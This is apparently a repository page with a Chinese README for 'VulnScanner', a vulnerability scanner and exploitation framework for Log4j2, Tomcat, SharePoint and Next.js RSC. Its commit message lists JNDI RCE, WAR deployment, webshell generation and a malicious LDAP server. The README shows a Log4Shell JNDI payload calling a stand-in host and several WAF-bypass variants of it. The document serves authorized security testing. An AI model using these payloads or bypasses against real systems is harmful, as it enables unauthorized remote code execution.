redline e8545b6a51 v1.0.0: VulnScanner 完整漏洞检测与利用框架
功能:
- 4 大漏洞检测模块: Log4j2, Tomcat/NGINX, SharePoint, React RSC
- 4 大漏洞利用模块: JNDI RCE, WAR部署, ViewState反序列化, RSC Flight
- 恶意 LDAP + HTTP 服务端
- Web GUI (Flask + Bootstrap 5) 带实时日志和利用面板
- Java 字节码生成, JSP webshell 生成
2026-07-07 02:47:19 +08:00

VulnScanner — 授权安全漏洞检测工具

多模块漏洞扫描器,专注于检测 Web 应用与中间件的高危漏洞。仅限授权安全测试使用。

检测能力

模块 检测对象 技术方案 验证方式
Log4j2 CVE-2021-44228 JNDI 注入 多 Header/参数注入 + WAF 绕过 + OOB 回调 OOB HTTP 回调 / 响应异常分析
Tomcat/NGINX 敏感路径、信息披露、反序列化端点 指纹识别 + 路径探测 + 畸形请求 状态码 + 响应内容分析
SharePoint 反序列化 RCE、ToolShell、ViewState 端点指纹 + ViewState 分析 + API 探测 响应异常 + 配置检测
React RSC Next.js RSC Flight 反序列化 端点发现 + 协议检测 + payload 探测 Content-Type + 响应分析

安装

# 克隆或解压到 vulnscanner 目录
cd vulnscanner

# 安装依赖
pip install requests aiohttp colorama pyyaml

快速使用

单目标扫描

python main.py --target http://example.com

指定模块扫描

# 仅扫描 Log4j2
python main.py --target http://example.com --modules log4j

# 仅扫描 Tomcat/NGINX
python main.py -t http://example.com -m tomcat

# 扫描多个模块
python main.py -t http://example.com -m log4j,sharepoint

批量扫描

# 准备目标文件(每行一个 URL
echo "http://192.168.1.1" > targets.txt
echo "http://192.168.1.2" >> targets.txt

python main.py --list targets.txt -m log4j,tomcat

完整参数

# 自定义 OOB 回调端口
python main.py -t http://example.com --oob-port 9999

# 指定外部可达的 OOB 地址(内网环境)
python main.py -t http://target.com --external-host 10.0.0.5 --oob-port 8888

# 通过代理扫描
python main.py -t http://example.com --proxy-http http://127.0.0.1:8080

# 输出 JSON 报告
python main.py -t http://example.com -o report.json

# 静默模式(减少终端输出)
python main.py -t http://example.com -q

# 预览模式(不发送实际请求)
python main.py -t http://example.com --dry-run

# 跳过授权确认(脚本/自动化场景)
python main.py -t http://example.com -y

使用场景

场景 1内网资产扫描

python main.py --list internal_targets.txt \
  --modules log4j,tomcat,sharepoint \
  --external-host 10.0.0.100 \
  --oob-port 8888 \
  --output scan_result.json \
  --threads 30

场景 2Log4j 专项检测

python main.py -t http://target.com \
  --modules log4j \
  --oob-port 9999 \
  --external-host your-vps.com \
  --output log4j_report.json

场景 3Web 中间件安全基线

python main.py -t http://web-app.com \
  --modules tomcat \
  --timeout 15 \
  --output baseline.json

输出示例

═══════════════════════════════════════════════════════════════
漏洞发现列表
═══════════════════════════════════════════════════════════════

[CRITICAL] [✓] Log4j JNDI 注入确认 (OOB 回调验证)
  目标:     http://target.com
  端点:     /
  模块:     Log4jModule (CVE-2021-44228)
  描述:     JNDI 注入成功,目标服务器已回连 OOB 服务器
  证据:     OOB 回调 2 次,来源: 10.0.0.5
  修复:     立即升级 Log4j2 到 2.17.0+
  时间:     2026-07-07T12:00:00Z

[HIGH]     [✓] Spring Actuator 端点暴露
  目标:     http://target.com
  端点:     /actuator/
  模块:     TomcatNginxModule (N/A)
  描述:     路径 /actuator/ 返回 200敏感信息可能泄露
  证据:     HTTP 200, body 长度 1523
  修复:     移除或限制访问敏感路径

═══════════════════════════════════════════════════════════════
扫描摘要
═══════════════════════════════════════════════════════════════
  扫描目标:     1
  运行模块数:   2
  发现总数:     4
  ██ 严重: 1  ██ 高危: 2  中危: 1

  ⚠ 发现 3 个严重/高危漏洞,建议立即修复
═══════════════════════════════════════════════════════════════

JSON 报告结构

{
  "scan_info": {
    "tool": "VulnScanner",
    "timestamp": "2026-07-07T12:00:00Z",
    "total_findings": 4,
    "summary": {"targets": 1, "modules_run": 3, "findings": 4, "critical": 1}
  },
  "findings": [
    {
      "module": "log4j",
      "cve": "CVE-2021-44228",
      "target": "http://target.com",
      "endpoint": "/",
      "severity": "critical",
      "title": "Log4j JNDI 注入确认 (OOB 回调验证)",
      "description": "...",
      "payload": "${jndi:ldap://x.oob.com/a}",
      "evidence": "...",
      "remediation": "...",
      "verified": true,
      "timestamp": "..."
    }
  ]
}

检测原理

Log4j 检测流程

1. 生成 JNDI payload (LDAP/RMI/DNS)
   └── 包含 WAF 绕过变体(大小写、嵌套表达式)
2. 注入到 HTTP Header (12+)、URL 参数、POST Body
   └── Header: X-Api-Version, X-Forwarded-For, User-Agent ...
3. 启动本地 OOB HTTP 服务器
4. 等待目标回调
5. 验证回调

绕过技术:
  ├── ${jndi:ldap://host/a}       — 原始
  ├── ${JNDI:LDAP://host/a}       — 大小写混淆
  ├── ${${lower:j}ndi:ldap://...} — 表达式嵌套
  └── ${::-j}${::-n}${::-d}...   — 字符拆分

OOB 回调服务器

启动一个轻量级 HTTP 服务器(基于 aiohttp监听指定端口接收入站请求。 内网场景需要确保目标可达(使用 --external-host 指定自身 IP

注意事项

  1. 授权要求:使用前必须获得目标系统的书面授权
  2. 网络影响:扫描会产生 HTTP 请求,注意控制并发和负载
  3. OOB 可达性Log4j 检测依赖目标到 OOB 服务器的网络可达性
  4. 误报处理响应分析模块可能产生误报OOB 回调的结果最可靠
  5. 法律合规:未经授权的扫描可能违反中国《网络安全法》及相关法律

免责声明

本工具仅用于授权的安全测试和安全研究。使用本工具扫描未授权的目标可能违反 所在国家/地区的法律法规。开发者不承担任何因使用本工具而产生的法律责任。

使用者需确保:

  • 已获得目标系统所有者的明确书面授权
  • 测试范围在授权范围内
  • 测试过程中产生的数据得到妥善处理

License

MIT License — 仅限授权安全测试用途

Description
No description provided
Readme 102 KiB
Languages
Python 73.4%
JavaScript 13.7%
HTML 9.3%
CSS 3.6%